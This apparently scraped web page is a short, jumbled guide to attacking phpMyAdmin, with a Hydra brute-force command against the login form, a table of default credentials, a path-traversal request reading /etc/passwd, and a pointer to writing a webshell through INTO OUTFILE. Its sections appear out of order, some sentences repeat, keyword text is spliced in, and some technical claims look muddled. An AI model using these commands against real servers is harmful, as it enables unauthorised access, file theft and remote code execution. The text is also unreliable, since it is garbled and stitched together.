Phpmyadmin Hacktricks | Verified

Use Hydra or a simple Python script. A one-liner:

POST /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd Improper sanitization of the target parameter. Patched in 4.8.5. Test instances still exist. Part 3: Post-Authentication to Remote Code Execution (RCE) Once logged in, the game is over for the server. 3.1 Into Outfile Method (Most Reliable) If the database user has FILE privilege, you can write a webshell. phpmyadmin hacktricks verified

hydra -l root -P /usr/share/wordlists/fasttrack.txt target http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:token" Rate-limit warning: phpMyAdmin 5.0+ introduces brute-force protection via $cfg['LoginCookieValidity'] , but default is 1800 seconds – still bypassable with slow brute force. In phpMyAdmin 4.8.0–4.8.4, an LFI vulnerability allowed attackers to read arbitrary files without logging in. Use Hydra or a simple Python script

| Username | Password | |----------|----------| | root | root | | root | (blank) | | root | toor | | admin | (blank) | | pma | pmapassword | Test instances still exist

Introduction phpMyAdmin is the most popular database management tool for MySQL/MariaDB. For penetration testers (and attackers), it is a high-value target because successful compromise often leads to remote code execution (RCE), data exfiltration, or privilege escalation. For defenders, understanding these "hacktricks" is the first step to proper hardening.